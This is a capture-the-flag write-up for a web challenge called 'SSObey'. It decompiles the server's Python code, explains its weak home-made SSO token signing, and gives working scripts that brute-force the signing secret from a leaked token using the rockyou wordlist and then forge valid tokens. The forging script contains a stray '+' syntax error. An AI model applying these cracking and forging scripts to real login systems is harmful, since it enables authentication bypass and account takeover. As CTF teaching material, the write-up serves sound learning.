SSObey
The website providers the server code (See the Powered by SSObey
link).
It seems to be python 3 pex archive, it can be extracted using 7zip.
Decompiling pyc
files:
uncompyle6 .\sso_client\.deps\ssobey-20180117-py3-none-any.whl\ssobey\config_example.pyc > decompiled/ssobey/config_example.py
uncompyle6 .\sso_client\.deps\ssobey-20180117-py3-none-any.whl\ssobey\util.pyc > decompiled/ssobey/util.py
uncompyle6 .\sso_client\.deps\ssobey-20180117-py3-none-any.whl\ssobey\web.pyc > decompiled/ssobey/web.py
The most important src files are web.py
and utils.py
.
utils.py
:
SCRAMBLE_KEY = 'CgEZBz4vSHDK'.encode()
def xor(plaintext, key):
r = []
for x, y in zip(plaintext, key):
r.append(x ^ y)
return bytes(r)
def obey_the_signature(data):
secret = xor(binascii.hexlify(app.config['SSO_SECRET']), SCRAMBLE_KEY)
proof = hashlib.sha256(secret + data).hexdigest()
return proof
def calc_sso_token(user):
proof = obey_the_signature(user.encode())
tok = json.dumps({'user': user, 'proof': proof})
return base64.urlsafe_b64encode(tok.encode())
def is_blacklisted(user):
for blacklisted in app.config['BLACKLIST']:
if user == blacklisted['user']:
return True
return False
def verify_sso_token(tok):
dt = base64.urlsafe_b64decode(tok)
jt = json.loads(dt)
if is_blacklisted(jt['user']):
return abort(500, 'This user is blacklisted')
wantsig = obey_the_signature(jt['user'].encode())
recvsig = jt['proof']
if wantsig != recvsig:
return abort(500, 'Incorrect SSObey token')
return jt
web.py
:
...
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('index.html')
username, password = request.form['username'], request.form['password']
if is_blacklisted(username):
flash('This user is blacklisted.', 'danger')
return render_template('index.html')
okpass = app.config['USERS'].get(username)
if okpass is None:
flash('User does not exist.', 'danger')
return render_template('index.html')
if okpass != password:
flash('Wrong password.', 'danger')
return render_template('index.html')
tok = calc_sso_token(username)
retaddr = request.args.get('returnTo')
if retaddr:
u = url_parse(retaddr)
q = u.decode_query()
q['ssobey_token'] = tok
nu = u.replace(query=url_encode(q))
return redirect(nu.to_url())
flash('Ok, now what, no return url...', 'warning')
return render_template('index.html')
@app.route('/.blacklist')
def blacklist():
return jsonify(app.config['BLACKLIST'])
@app.route('/test')
def test():
uid = session.get('uid')
if uid is None:
tok = request.args.get('ssobey_token')
if tok is None:
return redirect(url_for('.login', returnTo=url_for('.test', _external=True)))
authinfo = verify_sso_token(tok)
session['uid'] = authinfo['user']
return redirect(url_for('.test'))
return render_template('test.html', uid=uid, flag=app.config['FLAG'])
The http://ssobey.thenixuchallenge.com/.blacklist
provides the tokens for blacklisted users:
[
{
"token": "eyJ1c2VyIjogInRlc3QiLCAicHJvb2YiOiAiNTFiNmY0NDJlMDMzNjRlM2JkMDZkZDQxODYwYmU3NDM0MmExMGUwNDhiNmE3Y2NkZDFjNzcxMWQ0ODM3MzYwZSJ9",
"user": "test"
}
]
Because we know the SCRAMBLE_KEY
, username and the proof
hash for the blacklisted test
user,
the sso secret can be brute-forced:
import base64, hashlib, binascii
import json
SCRAMBLE_KEY = 'CgEZBz4vSHDK'.encode()
def xor(plaintext, key):
r = []
for x, y in zip(plaintext, key):
r.append(x ^ y)
return bytes(r)
def test_secret(pwd):
secret = xor(binascii.hexlify(pwd), SCRAMBLE_KEY)
proof = hashlib.sha256(secret + 'test'.encode()).hexdigest()
return proof == "51b6f442e03364e3bd06dd41860be74342a10e048b6a7ccdd1c7711d4837360e"
with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
while True:
pwd = f.readline()[:-1]
if not pwd:
break
print("%s" % pwd)
if test_secret(pwd):
print("Found secret: ", pwd)
exit(0)
The sso secret is 3668301
.
Forging the token (the token has to be valid to get the flag, username does not matter):
import base64, hashlib, binascii
import json
SCRAMBLE_KEY = 'CgEZBz4vSHDK'.encode()
SSO_SECRET = "3668301".encode()
def xor(plaintext, key):
r = []
for x, y in zip(plaintext, key):
r.append(x ^ y)
return bytes(r)
def obey_the_signature(data):
secret = xor(binascii.hexlify(SSO_SECRET), SCRAMBLE_KEY)
proof = hashlib.sha256(secret + data).hexdigest()
return proof
def calc_sso_token(user):
proof = obey_the_signature(user.encode())+
tok = json.dumps({'user': user, 'proof': proof})
return base64.urlsafe_b64encode(tok.encode())
print("Token: %s" % calc_sso_token("test2"))